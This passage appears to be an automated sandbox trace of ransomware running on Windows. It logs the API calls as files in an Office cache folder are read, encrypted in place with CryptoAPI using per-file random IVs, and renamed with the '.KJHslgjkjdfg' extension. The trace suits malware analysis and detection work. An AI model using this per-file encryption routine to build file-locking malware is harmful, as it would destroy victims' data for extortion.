lpNumberOfBytesRead=0x4dff504*=0xd4200, lpOverlapped=0x0) returned 1 [0163.884] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0xd4200, dwBufLen=0xd4200 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0xd4200) returned 1 [0163.894] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.894] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xd4200, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0xd4200, lpOverlapped=0x0) returned 1 [0163.897] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.898] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd42d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.898] SetEndOfFile (hFile=0x124) returned 1 [0163.900] GetProcessHeap () returned 0x2ef0000 [0163.900] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0163.900] GetProcessHeap () returned 0x2ef0000 [0163.900] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0163.900] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.kjhslgjkjdfg")) returned 1 [0163.901] CloseHandle (hObject=0x124) returned 1 [0163.901] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeMUISet.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0163.901] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0163.902] GetProcessHeap () returned 0x2ef0000 [0163.902] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0163.902] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0163.902] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0163.902] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0xd, lpOverlapped=0x0) returned 1 [0163.938] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0163.938] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0163.938] GetProcessHeap () returned 0x2ef0000 [0163.938] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0163.938] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40) returned 1 [0163.938] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.938] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f8*=0x40, lpOverlapped=0x0) returned 1 [0163.938] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0163.938] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0163.939] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0163.939] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0163.939] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0163.939] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0163.939] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0163.939] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.939] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x333, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x333, lpOverlapped=0x0) returned 1 [0163.939] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x340, dwBufLen=0x340 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x340) returned 1 [0163.939] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.939] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x340, lpOverlapped=0x0) returned 1 [0163.939] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.939] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.939] SetEndOfFile (hFile=0x124) returned 1 [0163.942] GetProcessHeap () returned 0x2ef0000 [0163.942] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0163.942] GetProcessHeap () returned 0x2ef0000 [0163.942] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0163.942] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.kjhslgjkjdfg")) returned 1 [0163.948] CloseHandle (hObject=0x124) returned 1 [0163.954] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8b16200, ftCreationTime.dwHighDateTime=0x1cac190, ftLastAccessTime.dwLowDateTime=0xc8b16200, ftLastAccessTime.dwHighDateTime=0x1cac190, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osetupui.dll", cAlternateFileName="")) returned 1 [0163.954] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pss10r.chm", cAlternateFileName="")) returned 1 [0163.954] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0163.955] GetProcessHeap () returned 0x2ef0000 [0163.955] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0163.955] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0163.955] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0163.955] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0x5, lpOverlapped=0x0) returned 1 [0164.006] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0164.006] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0164.006] GetProcessHeap () returned 0x2ef0000 [0164.006] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0164.006] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff4e0*=0x30) returned 1 [0164.006] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.006] WriteFile (in: hFile=0x124, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff4f8*=0x30, lpOverlapped=0x0) returned 1 [0164.006] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0164.006] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0164.006] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0164.007] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0164.007] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0164.007] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0164.007] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0164.007] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.007] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6a3b, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x6a3b, lpOverlapped=0x0) returned 1 [0164.008] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x6a40, dwBufLen=0x6a40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x6a40) returned 1 [0164.008] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.008] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x6a40, lpOverlapped=0x0) returned 1 [0164.009] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.009] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x6b04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.009] SetEndOfFile (hFile=0x124) returned 1 [0164.010] GetProcessHeap () returned 0x2ef0000 [0164.010] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0164.010] GetProcessHeap () returned 0x2ef0000 [0164.010] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0164.010] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.kjhslgjkjdfg")) returned 1 [0164.011] CloseHandle (hObject=0x124) returned 1 [0164.011] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="setup.chm", cAlternateFileName="")) returned 1 [0164.011] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0164.011] GetProcessHeap () returned 0x2ef0000 [0164.011] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0164.011] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0164.011] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0164.011] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0xa, lpOverlapped=0x0) returned 1 [0164.013] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0164.013] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0164.013] GetProcessHeap () returned 0x2ef0000 [0164.013] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0164.014] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff4e0*=0x30) returned 1 [0164.014] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.014] WriteFile (in: hFile=0x124, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff4f8*=0x30, lpOverlapped=0x0) returned 1 [0164.014] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0164.014] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0164.014] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0164.014] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0164.014] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0164.014] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0164.014] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0164.014] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.014] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x10676, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x10676, lpOverlapped=0x0) returned 1 [0164.016] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x10680, dwBufLen=0x10680 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x10680) returned 1 [0164.017] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.017] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x10680, lpOverlapped=0x0) returned 1 [0164.017] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.017] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x10744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.017] SetEndOfFile (hFile=0x124) returned 1 [0164.020] GetProcessHeap () returned 0x2ef0000 [0164.020] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0164.020] GetProcessHeap () returned 0x2ef0000 [0164.020] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0164.020] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.kjhslgjkjdfg")) returned 1 [0164.021] CloseHandle (hObject=0x124) returned 1 [0164.021] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0164.021] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0164.021] GetProcessHeap () returned 0x2ef0000 [0164.021] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0164.021] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0164.021] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0164.021] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0164.031] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0164.031] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0164.031] GetProcessHeap () returned 0x2ef0000 [0164.031] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0164.031] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff4e0*=0x30) returned 1 [0164.031] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.031] WriteFile (in: hFile=0x124, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff4f8*=0x30, lpOverlapped=0x0) returned 1 [0164.031] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0164.031] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0164.031] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0164.031] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0164.031] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0164.032] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0164.032] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0164.032] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 